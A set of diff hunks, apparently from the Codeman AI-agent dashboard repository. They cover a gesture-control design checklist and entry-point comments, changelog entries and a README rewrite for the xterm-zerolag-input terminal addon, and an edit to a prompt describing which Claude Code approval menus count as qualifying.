+- [x] **Concurrent rendering — RESOLVED (2026-06-08).** A live session view
+  *can* be mounted into an arbitrary in-page container concurrently with the
+  main view. The PR #103 branch already ships it three ways (teammate terminals,
+  log-viewer SSE windows, the iframe-able `/session/:id` solo route); fan-out
+  confirmed. Primary path: iframe the solo route. See the resolved section above.
+- [ ] **Native-panel live feed (only if taking A-alt, not the iframe):** trace
+  the exact transport that pushes *continuous* teammate-pane output after the
+  REST buffer seed (`pendingData` flush source). The iframe path sidesteps this.
+- [ ] **`window.app.detachSession` location:** when wiring the *kept* OS-window
+  detach verb, note this method was **not found in PR #103 source** (only
+  server-side `detachSessionListeners`); it works at runtime, so confirm where
+  it's actually defined before extending it.
+- [ ] **Spanning feasibility on the actual desk setup** (monitor arrangement,
+  whether "separate Spaces" off is acceptable to the user globally).
+- [ ] **Re-dock target:** decide the re-dock gesture/zone (drop over tab strip
+  vs a dedicated dock region).

+// Phase 5 — Codeman integration entry point.
+//
+// This is the *consumer* layer that replaces `demo/tabs.ts` for the real
+// Codeman dashboard. It is bundled (esbuild, MediaPipe included) into a single
+// ESM file and served by Codeman from `/gesture/gesture-codeman.js`, loaded into
+// the dashboard page when Codeman is started with `CODEMAN_GESTURE=1`.
+//
+// The gesture *core* (`../gesture/*`) is unchanged and transport-agnostic — it
+// emits coordinate-only `grab`/`drag`/`drop`. Here we map those onto Codeman's
+// real session tabs (`.session-tab[data-id]`) and toolbar buttons.
+//
+// Three interactions, all off the same pinch:
+//   • Tab "grab-to-float" — pinch a session tab, *pull it out* of the strip (a
+//     ghost follows your hand), release past a threshold → the session opens as
+//     an in-page floating panel at the drop point; a small twitch-and-release
+//     cancels (snaps back).
+//   • Panel "re-grab" — pinch an existing floating panel and move it anywhere;
+//     release over the tab strip to re-dock it (panel goes away, the tab stays).
+//     This is the capability the old OS-window detach lost.
+//   • Agent-window "grab-to-move" — pinch any floating *subagent* or *ultracode*
+//     run/transcript window (the dashboard's own `.subagent-window` /
+//     `.ultracode-window` floats) and move it anywhere. These windows stay owned
+//     by app.js — we only nudge their `style.left/top` and ask app.js to redraw
+//     the glowing connector line back to their session tab (its redraw reads live
+//     rects, so the line tracks without us touching app.js internals). This is the
+//     multi-monitor verb that lets these windows cross the physical monitor seam.
+//   • Button "tap" — pinch over a toolbar button (Run / Run Shell) and release
+//     in place → fires the button's real click handler. Drift too far first and
+//     it's treated as a stray move, not a tap.
+//
+// Why in-page floats, not OS-window detach (decided 2026-06-08, see
+// docs/MULTIMONITOR_DESIGN.md): the hand only exists in the one page that owns
+// the camera. `window.open`/`detachSession` puts the session in a sealed OS
+// window the page can't hand-track — a detached session can never be moved
+// again, a one-way trip. A floating panel (an iframe of the session's solo
+// route `/session/:id`) stays in this page's DOM, so the hand keeps control:
+// re-grab, move across the (spanned) viewport, drop, re-dock. The OS-window
+// detach is kept for later as a *separate, deliberate* verb — no longer the pinch.

 # xterm-zerolag-input
 
+## 0.1.7
+
+### Patch Changes
+
+- Fix a latent bug where a partial settings PUT silently reset live service state, and trim the `xterm-zerolag-input` README callout.
+  - **`PUT /api/settings` no longer resets watchers on a partial body.** The three `toggleService` calls (subagent watcher, workflow-run watcher, image watcher) read the raw request body with `??` defaults, so every key a caller omitted was treated as "apply the default". A body of just `{statusLineTelemetry:true}` would START the subagent watcher and STOP the workflow and image watchers, undoing the persisted config. They now resolve from `merged` (persisted settings + incoming), the same convention the `tmuxHistoryLimit` branch in that handler already used, so any PUT reconciles services to the effective stored state. Nothing triggered this in practice because every shipped client sends a full settings payload rebuilt from the DOM, but it was a trap for the next partial-update caller.
+  - **Regression test**: `test/routes/system-routes-settings-partial-put.test.ts` (4 cases) pins both directions, omitted keys preserve state and explicit keys still take effect. Verified to fail against the pre-fix handler.
+  - **CLAUDE.md** records the rule under "Adding Features → App setting": anything acting on a setting in that handler must resolve from `merged`, never the request body.
+  - **`xterm-zerolag-input` README**: removed the links line (getcodeman.com / install one-liner / star link) from the Codeman callout above the demo GIF. The callout keeps its links in the heading and body.
+
+## 0.1.6
+
+### Patch Changes
+
+- Plan-usage chip now defaults ON on desktop, plus the reworked `xterm-zerolag-input` README.
+  - **Plan-usage chip defaults ON (desktop).** The `showPlanUsageLimits` chip (live 5-hour and weekly plan usage from the Claude statusline) used to be opt-in and default OFF, so most users never saw it. Desktop now defaults ON; handhelds still default OFF so the phone header stays minimal and the `mobile-header-buttons-policy` guard keeps passing. Devices with an explicitly stored preference keep whatever they chose, so nobody's OFF gets overridden.
+  - **One resolver behind the chip.** Added `planUsageChipEnabled()` in settings-ui.js and routed all three call sites through it: the App Settings checkbox, the chip's visibility, and the create-time `statusLineTelemetry` flag in session-ui.js. Those three had independent `?? false` / `=== true` defaults, and a chip revealed without the telemetry flag renders `—` forever, so a default flip on one site alone would have shipped a permanently empty chip.
+  - **Cron button comment corrected.** The App Settings comment claimed "Cron button defaults ON" while the code, the template (`btn-cron--hidden`) and the CSS all default it OFF. Verified against a fresh browser profile: the button is hidden and its checkbox unchecked out of the box. Comment now matches, and states why the two halves stay consistent.
+  - **Docs.** CLAUDE.md, `docs/architecture-invariants.md` and `docs/usage-limits-display-plan.md` updated for the new default and the single-resolver rule; the stale `styles.css` comment claiming the server strips the chip's hidden class at render was corrected (display is per-device, so the client reveals it).
+  - **`xterm-zerolag-input` README rework** (0.1.5 shipped the content; this republishes with the graphic and promo changes): replaced the misaligned 8-line keystroke-flow diagram with a two-line stock-vs-zerolag contrast, added a Codeman callout above the demo GIF with links to getcodeman.com and the repo, and rewrote the Origin section so it argues the extraction story instead of repeating the promo.
+
+## 0.1.5
+
+### Patch Changes
+
+- Rewrite the `xterm-zerolag-input` package README as a value-first document and correct the drift that had accumulated against the source.
+  - Added the side-by-side phone demo GIF (`docs/images/zerolag-demo-20260728.gif`) as the hero image, referenced by absolute raw URL so it renders on npmjs.com as well as GitHub. The two-phone comparison shows 0ms local echo next to a 600ms-2.7s server echo on the same session.
+  - New "Why this one" comparison table, an explicit list of target use cases (SSH web clients, cloud IDEs, mobile terminals, container consoles), and a bundle-size badge (6.1 kB gzipped, measured from the ESM build).
+  - Corrected the test-count badge from 78 to the actual 175 tests across 5 files, in both the package README and the Published Packages section of the root README.
+  - Removed the stale "Unicode/emoji rendered at single-cell width" limitation. CJK, fullwidth forms and emoji have had double-width rendering and visual-column positioning since the wide-character fix; the honest remaining caveat (per-code-point width summing over-counts ZWJ grapheme clusters) replaces it.
+  - Documented the previously undocumented public `setPrompt()` method for switching prompt strategies at runtime, and the new "Wide characters (CJK, emoji)" integration section covering the optional `Unicode11Addon` path and the built-in range-table fallback.
+  - Documented `backgroundColor: 'transparent'`, corrected the `foregroundColor` default, and updated the grid-alignment math to reflect visual-column positioning rather than character index.
+
+  No source changes, docs only.

-## The Problem
+## The 30-second version
 
-When using xterm.js over a remote connection (SSH web clients, cloud IDEs, mobile terminals), every keystroke takes a full round-trip to the server before appearing on screen. At 100-500ms RTT, typing feels sluggish and unresponsive. Users type blind, make mistakes they can't see, and the experience feels broken.
-
-## The Solution
-
-`xterm-zerolag-input` renders typed characters **immediately** as a pixel-perfect DOM overlay positioned on the terminal's character grid. The overlay covers the terminal canvas at the prompt location, showing characters instantly while the server echo travels back. Once the server responds, the overlay seamlessly disappears and the real terminal text takes over.
+Over a remote connection, xterm.js shows you a character only after it has flown to the server and back. At 100-500ms RTT that reads as broken: you type ahead of the screen, you cannot see your typos, and you start pecking one key at a time to stay in sync.
 
 ```
-Keystroke Flow:
-                                    ┌─── DOM overlay (instant, 0ms)
-User types 'h' ─── onData('h') ───┤
-                                    └─── Your app sends to PTY ──→ Server
-                                                                      │
-Server echoes 'h' ←──────────────────────────────────────────────────┘
-         │                                                  (200-500ms RTT)
-         └──→ terminal.write('h') ──→ overlay.clear()
-              (server output replaces overlay — seamless transition)
+  stock xterm.js   keypress ─────── 300 ms ───────→ character appears
+  with zerolag     keypress → character appears  ·  echo lands later, unseen
 ```
 
-**No changes to your backend needed.** The addon is purely client-side.
+Same keystroke, same link. The only difference is who you wait for: the server, or nobody.
 
-## Origin
+`xterm-zerolag-input` paints your keystrokes **immediately**, as an absolutely-positioned DOM overlay locked to the terminal's character grid. The byte still goes to the PTY exactly as before, so nothing about your shell changes. When the server echo lands 300ms later, the overlay clears and the real terminal text takes over on the same pixels. The handoff is invisible.
 
-This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), the missing control plane for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code and OpenCode. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
+**No backend changes. No protocol. No server support.** It is a client-side addon that never touches the wire.
+
+## Why this one
+
+| | |
+|---|---|
+| **Survives full-screen TUIs** | Ink, blessed, and friends repaint the whole screen constantly. The overlay is a separate DOM layer they cannot reach, so it does not get clobbered. |
+| **Pixel-matched to the canvas** | Each character is its own absolutely-positioned `<span>` at exact cell coordinates, so it does not drift out of the grid like normal DOM text flow. |
+| **Wide characters included** | CJK, fullwidth forms and emoji render double-width and position by visual column, using the terminal's Unicode addon when one is loaded. |
+| **Backspace that actually works** | A three-layer cascade (unsent, in-flight, already on screen) tells you exactly what to forward to the PTY, so editing works through any mix of typed, flushed and tab-completed text. |
+| **You keep control of input** | The addon never hooks `onData` for you. You decide what gets echoed and what gets forwarded, which is what makes char-at-a-time, buffered, and multi-session tab switching all possible. |
+| **Small and self-contained** | 6.1 kB gzipped, zero runtime dependencies, dual CJS/ESM with full type declarations. |
+| **Proven under load** | Extracted from [Codeman](https://getcodeman.com), hardened over thousands of hours of real remote and mobile usage, 175 tests over every state transition. |
+
+Built for anything that puts a terminal behind a network hop: SSH web clients, cloud IDEs, mobile terminals, Kubernetes and container consoles, remote agent dashboards, browser-based dev environments.

+### Wide characters (CJK, emoji)
+
+Wide characters work out of the box: the overlay measures each character's cell width, renders double-width spans for wide ones, and positions later characters by visual column instead of character index. Line wrapping is computed in columns too, so a wrapped Japanese or Chinese line lands on the same cells the server will use.
+
+For exact Unicode 11+ widths, load xterm's Unicode addon and the overlay will defer to it:
+
+```typescript
+import { Unicode11Addon } from '@xterm/addon-unicode11';
+
+terminal.loadAddon(new Unicode11Addon());
+terminal.unicode.activeVersion = '11';
+```
+
+Without it, a built-in range table covers Hangul, Kana, CJK Unified (including Ext A through G), fullwidth forms and the emoji planes.

-## Known Limitations
+## Known limitations
 
-- **Canvas/WebGL font mismatch**: Minor sub-pixel differences possible. Per-character absolute positioning minimizes this.
-- **Unicode/emoji**: Multi-byte characters occupy variable cell widths — rendered at single-cell width, causing misalignment.
-- **Password prompts**: Overlay shows characters that aren't echoed. Call `clear()` when you detect no-echo mode.
-- **Prompt in output**: If `$` appears in command output, prompt detection may find the wrong position. Use regex or custom finder.
+- **Canvas and WebGL font mismatch**: minor sub-pixel differences are still possible. Per-character absolute positioning keeps them small.
+- **Grapheme clusters**: widths are summed per code point, so ZWJ emoji sequences (for example 👨‍👩‍👧) and combining marks can be over-counted. Single-code-point emoji and CJK are correct.
+- **Password prompts**: the overlay will happily show characters the server is not echoing. Call `clear()` when you detect a no-echo prompt.
+- **Prompt characters in output**: if your prompt marker also appears in command output, detection can latch onto the wrong line. Use a regex or a custom finder.

+## Origin
+
+[Codeman](https://getcodeman.com) needed this before anyone else did. A coding agent you drive from your phone over a tunnel is unusable if every keystroke costs a round trip.
+
+So the overlay was built there, ran in production for thousands of hours, and survived three deep code audits before being pulled out into this standalone library with its tests intact. Nothing was reimplemented for the extraction: the engine here is the one Codeman ships.

-A plan mode approval prompt is a numbered selection menu that Claude Code shows when it wants the user to approve a plan before proceeding. It typically has these characteristics:
+A qualifying menu has all of these characteristics:
 - A numbered list of options (e.g., "1. Yes", "2. No", "3. Type your own")
-- A selection indicator arrow (❯ or >) pointing to one of the options
-- Text asking for approval like "Would you like to proceed?" or "Ready to implement?"
-- The prompt appears at the BOTTOM of the output (most recent content)
+- A selection indicator arrow (❯ or >) pointing to one of the options (the default)
+- The menu appears at the BOTTOM of the output (most recent content)

+This includes BOTH:
+- Plan-mode approval prompts ("Would you like to proceed?" / "Ready to implement?")
+- AskUserQuestion / elicitation dialogs (Claude Code's numbered question menus)

 - Claude actively working (spinners, "Thinking", tool execution)

-- An AskUserQuestion/elicitation dialog (different format, free-text input)
